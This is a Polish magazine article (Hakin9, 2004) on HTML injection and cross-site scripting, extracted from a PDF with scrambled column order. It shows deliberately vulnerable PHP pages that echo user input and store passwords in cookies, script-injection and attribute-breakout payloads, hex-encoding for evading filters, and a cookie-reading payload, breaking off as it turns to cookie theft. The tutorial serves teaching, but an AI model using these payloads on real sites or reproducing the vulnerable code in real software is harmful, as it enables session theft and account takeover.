inject_pl.pdf

(989 KB) Pobierz
10048382 UNPDF
Ataki
HTML
injection
Brandon Petty
Artykuł opublikowany w numerze 1/2004 magazynu “Hakin9”
Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu
dozwolone pod warunkiem zachowania jego obecnej formy i treści.
Magazyn “Hakin9”, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, piotr@software.com.pl
10048382.019.png
Ataki HTML injection
Brandon Petty
Ataki HTML injection polegają
na przesłaniu stronie, która
oczekuje od nas danych
w postaci czystego tekstu,
ciągu zawierającego specjalnie
spreparowany kod HTML.
Co możemy w ten sposób
osiągnąć?
źródłowy przedstawiony jest na Listin-
gach 1 i 2 ( http://127.0.0.1/inject/html_ex.
html ). Wygląda prosto, prawda? W formu-
larzu wybieramy interesujący nas format
(MP3, OGG lub WAV) i klikamy OK. War-
tość zmiennej music przesyłana jest do strony
html_ex.php :
music=<script>alert('hakin9')</script> .
Na ekranie pojawia się okienko dialogowe
z napisem hakin9 . Ciekawe, prawda? Obej-
rzyjmy źródło strony, która się wyświetliła
(Listing 3).
Jak widać PHP uwierzył, że ciąg podany
przez nas w adresie jest przesłany przez for-
mularz (metodą GET) i wstawił go w wysłany
przeglądarce kod HTML. Znacznik <script>
nakazuje użycie JavaScriptu , co pozwala nam
użyć funkcji alert() w celu wyświetlenia wy-
skakującego okienka.
<form action='./html_ex.php' method='post'>
Ten plik wypisuje nazwę wybranego przez nas
formatu:
Bardziej złożony przykład
– proste forum
Bardziej złożony przykład przedstawia Listing 4 i 5
http://127.0.0.1/inject/xss_ex.php . Jest to uprosz-
czona wersja mechanizmu, który znajdziemy na
wielu działających w Sieci forach dyskusyjnych.
Strona xss_ex.php zawiera formularz,
w który wpisujemy nazwę użytkownika i hasło
( root i demo ). Dane te przesyłane są znowu do
pliku xss_ex.php :
$myURL = $_REQUEST[music];
(...)
Twój wybór: <? echo($myURL); ?>
Działanie strony jest tak proste, że aż nie
chce się wierzyć, by mogła ona zawierać
jakieś luki związane z bezpieczeństwem.
A jednak – spróbujmy wpisać w przeglądar-
ce adres http://127.0.0.1/inject/html_ex.php?
2
www.hakin9.org
Hakin9 Nr 1/2004
P rzyjrzyjmy się stronie, której kod
10048382.020.png
Ataki HTML injection
Jeśli nie działa przykład
html_ex.php
Jeśli na Twoim komputerze nie działa
przykład przedstawiony na Listin-
gach 1 i 2 (wpisanie adresu podanego
w artykule nie powoduje wyświetlenia
okienka dialogowego), sprawdź, czy
w opcjach przeglądarki nie wyłączy-
łeś JavaScriptu . Jeśli JavaScript jest
wyłączony, okno dialogowe nie mo-
że zostać wyświetlone. Obejrzyj też
źródło strony, która wyświetliła się po
wpisaniu podanego w artykule adresu
i porównaj ją z przedstawionym na Li-
stingu 3. W szczególności sprawdź,
czy linijka:
Listing 1. Najprostszy przykład strony podatnej na atak HTML injection
– plik html_ex.html
< form action= './html_ex.php' method= 'post' >
< center > [ < b > Wybierz format < /b > ] < /center >< br >
< input type= "radio" name= "music" value= "MP3" checked= "true" > .MP3 < br >
< input type= "radio" name= "music" value= "OGG" > .OGG < br >
< input type= "radio" name= "music" value= "WAV" > .WAV < br >
< center >< input type= "submit" value= "OK" >< /center >
< /form >
<form action='./xss_ex.php'
method='post'>
Spróbujmy przeprowadzić atak
HTML injection podobny do po-
przedniego. Jako link obrazka
wpiszmy: http://127.0.0.1/inject/
image.jpg"><script>alert('hakin
9')</script> . Efekt powinien być
identyczny jak w poprzednim przy-
padku. Zajrzyjmy do źródeł wyświe-
tlonej strony, znajdziemy w nich
linijkę:
Po ich odebraniu skrypt wysyła klien-
towi cookies zawierające nazwę użyt-
kownika i hasło:
<script>alert(’hakin9’)</script>
setcookie("mylogin",$_POST['login']);
setcookie("mypaswd",$_POST['paswd']);
u ciebie nie wygląda tak:
<script>alert(\’hakin9’\)
</script>
Dzięki temu przy kolejnych odwiedzi-
nach nie będzie trzeba podawać tych
danych drugi raz. Po wysłaniu co-
okies skrypt wysyła nagłówek HTTP
location , co powoduje otwarcie stro-
ny exploit.php :
<img src=" http://127.0.0.1/inject/
image.jpg"><script>alert('hakin9')<
/script>">
Jeśli tak jest – prawdopodobnie w pli-
ku koniguracyjnym PHP ( /etc/php.ini
w większości dystrybucji Linuksa) masz
ustawioną opcję:
Jak to działa? To proste – zauważ-
my, że ciąg "> , który umieściliśmy po
nazwie pliku z graiką, spowodował
zamknięcie tagu img . Następujący
dalej ciąg <script>alert('hakin9')
</script> spowodował – tak samo
jak w poprzednim przykładzie – wy-
świetlenie okna dialogowego.
magic_quotes_gpc=On
header("Location: exploit.php");
Opcja ta zabezpiecza przed wieloma
rodzajami ataku HTML injection , aby
więc wypróbować działanie opisanych
w artykule ataków ustaw ją na mniej
bezpieczną wartość:
Po zalogowaniu się traiamy na stro-
nę symulującą zamieszczanie na fo-
rum obrazka. Na stronie tej znajduje
się prosty formularz, w który wpisuje-
my link do pliku graicznego. Po wci-
śnięciu przycisku link przesyłany jest
do skryptu, który umieszcza go w ba-
zie danych i wyświetla.
magic_quotes_gpc=Off
Przykład zastosowania
techniki XSS
No tak – ale generowanie wyskaku-
jących okienek to trochę zbyt mało,
Listing 2. Ciąg dalszy strony podatnej na atak HTML injection – plik
html_ex.php
Listing 3. Źródło strony, która
wyświetla się po wpisaniu
adresu http://127.0.0.1/inject/
html_ex.php?music=<script>
alert('hakin9')</script>
< ?
/* Upewnij się, że w pliku php.ini ustawione jest
* "magic_quotes_gpc = Off" - w przeciwnym razie ten
* skrypt nie będzie podatny na atak
*/
error_reporting (E_ALL ^ E_NOTICE);
$myURL = $_REQUEST[music];
? >
< html >< head >< title > Prosty przykład < /title >
< /head >
< body bgcolor= "white" >
< br >< br >< br >
< center >< h1 > Twój wybór: < ? echo($myURL); ? >< /h1 >< /center >
< /body >
< /html >
< html >
< head >
< title > Prosty przykład < /title >
< /head >
< body bgcolor= "white" >
< br >< br >< br >
< center >< h1 > Wybrałeś:
< script > alert('hakin9') < /script >
< /h1 >< /center >
< /body >
< /html >
Hakin9 Nr 1/2004
www.hakin9.org
3
10048382.021.png 10048382.022.png 10048382.001.png 10048382.002.png 10048382.003.png 10048382.004.png
Rysunek 1. Strona z Listingów 1 i 2 – działanie zwykłe i wymuszone przez hakera wyświetlenie wyskakującego
okienka
by mówić o hakerstwie. Spróbujmy
zrobić coś bardziej ambitnego.
Przede wszystkim – aby atak
HTML injection odniósł poważny
skutek, nasz kod musi być umiesz-
czony na stronie, którą ogląda wie-
le osób. Jak widzieliśmy w poprzed-
nim przykładzie nie jest to trudne
– wystarczy wykorzystać dowolne fo-
rum. Ważną cechą forum z poprzed-
niego przykładu jest też fakt, że kie-
dy internauta loguje się, jego nazwa
Listing 4. Dziurawe forum – xss_ex.php
if ( $_SERVER [ 'REQUEST_METHOD' ] == "POST" ) {
setcookie ( "mylogin" , $_POST [ 'login' ]) ;
setcookie ( "mypaswd" , $_POST [ 'paswd' ]) ;
header ( "Location: exploit.php" ) ;
}
if ( $_COOKIE [ 'mylogin' ] || $_COOKIE [ 'mypasswd' ]) {
echo ( "<center><b><a href= \" ./exploit.php \" >Już jesteś zalogowany </a></b></center>" ) ;
}
else
{
?>
< br >
< form action= './xss_ex.php' method= 'post' >
< table border=0 width=0 heith=0 >
< caption align= "left" > HTML Injection Demo < /caption >
< tr >< td valign= "top" >
< b > Login: < /b >< /td >< td >< input type=text name= "login" value= "root" size=50 > < /input >< /td >< /tr >< td valign= "top" >
< b > Paswd: < /b >< /td >< td >< input type=text name= "paswd" value= "demo" size=50 > < /input >< br >< /td >< /tr >< td valign= "top" >
< input type=submit value= "Enter" >
< /td >< /tr >
< /table >
< /form >
...
4
www.hakin9.org
Hakin9 Nr 1/2004
10048382.005.png 10048382.006.png 10048382.007.png 10048382.008.png
 
10048382.009.png
 
 
10048382.010.png 10048382.011.png 10048382.012.png 10048382.013.png 10048382.014.png
Ataki HTML injection
Konwersja znaków ASCII na symbole szesnastkowe
Spójrzmy na dwa poniższe odnośniki:
Tabela 1. Wybrane znaki ASCII
i odpowiadające im kody szes-
nastkowe
• http://127.0.0.1/inject/html_ex.php?music=<script>alert('hakin9')
</script>
• http://127.0.0.1/inject/html_ex.php?music=
%3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E
Znak Kod
szesnastkowy
!
%21
%22
Warto wiedzieć, że oba prowadzą w to samo miejsce. To proste – znak < nosi w ASCII
numer 3C (szesnastkowo), więc zamiast pisać <script możemy napisać %3Cscript .
Po co? Są sytuacje, kiedy nie chcemy umieszczać w URL-u nietypowych znaków – nie-
które aplikacje internetowe czy klienty mogą próbować je usunąć. Wybrane znaki i od-
powiadające im kody szesnastkowe przedstawia Tabela 1.
#
%23
$
%24
%
%25
&
%26
%27
użytkownika i hasło są zapamiętane
w cookies . Za chwilę przekonamy się,
że jest możliwe wykradzenie czyje-
goś cookie , co pozwoli nam podszy-
wać się pod innych użytkowników.
Zacznijmy od prostego przykła-
du. Zamiast odnośnika do obrazka
(mówimy cały czas o forum z Listin-
gów 4 i 5) wstawmy w okienko poniż-
szy ciąg:
(
%28
)
%29
*
%2A
+
%2B
,
%2C
Listing 5. Dziurawe forum, ciąg dalszy – exploit.php
-
%2D
.
%2E
<?
// Uwaga: w celu uproszczenia skryptu nazwa użytkownika i hasło
// są na sztywno ustawione w skrypcie (a nie pobierane z bazy).
error_reporting ( E_ALL ^ E_NOTICE ) ;
$myURL = $_REQUEST [ url ] ;
// Jeśli PHP nie dodaje ukośników przed cudzysłowami,
// dodajmy je.
if ( get_magic_quotes_gpc () ==0 ) {
$myURL = addslashes ( $myURL ) ;
}
if (( $_COOKIE [ 'mylogin' ] == 'root' ) && ( $_COOKIE [ 'mypaswd' ] == 'demo' ))
{
if ( $_SERVER [ 'REQUEST_METHOD' ] != "POST" )
{
?>
< b > HTML Injection Demo < /b >
< br >
< form action= './exploit.php' method= 'post' >
URL obrazka: < input type= 'text' name= 'url'
value= 'http://' length='50'><br>
< input type= 'submit' >
< /form >
...
...
$SQL_String = "SELECT User.Link FROM User" ;
$SQL_String .= " Where(User.Login = 'root');" ;
/
%2F
:
%3A
;
%3B
<
%3C
=
%3D
>
%3E
?
%3F
@
%40
[
%5B
\
%5C
]
%5D
^
%5E
_
%5F
~
%7E
http://127.0.0.1/inject/image.jpg">
<script>alert(document.cookie)</script>
$rs = mysql_query ( $SQL_String ) or die ( $SQL_String ) ;
Spowoduje to wyświetlenie okienka
z napisem:
if ( $row = mysql_fetch_object ( $rs ))
{
echo "<img src= \" $row ->Link \" > \n " ;
}
else
{
echo "Błąd!! \n " ;
}
...
mylogin=root; mypasswd=demo
Jak widać zmienna document.cookie
przechowuje wartość cookies dla
strony, na której się znajdujemy. Jed-
nak nam nie chodzi o to, żeby każ-
dy użytkownik zobaczył swoje dane
– chcemy, żeby te dane zostały prze-
Hakin9 Nr 1/2004
www.hakin9.org
5
10048382.015.png 10048382.016.png 10048382.017.png 10048382.018.png
Zgłoś jeśli naruszono regulamin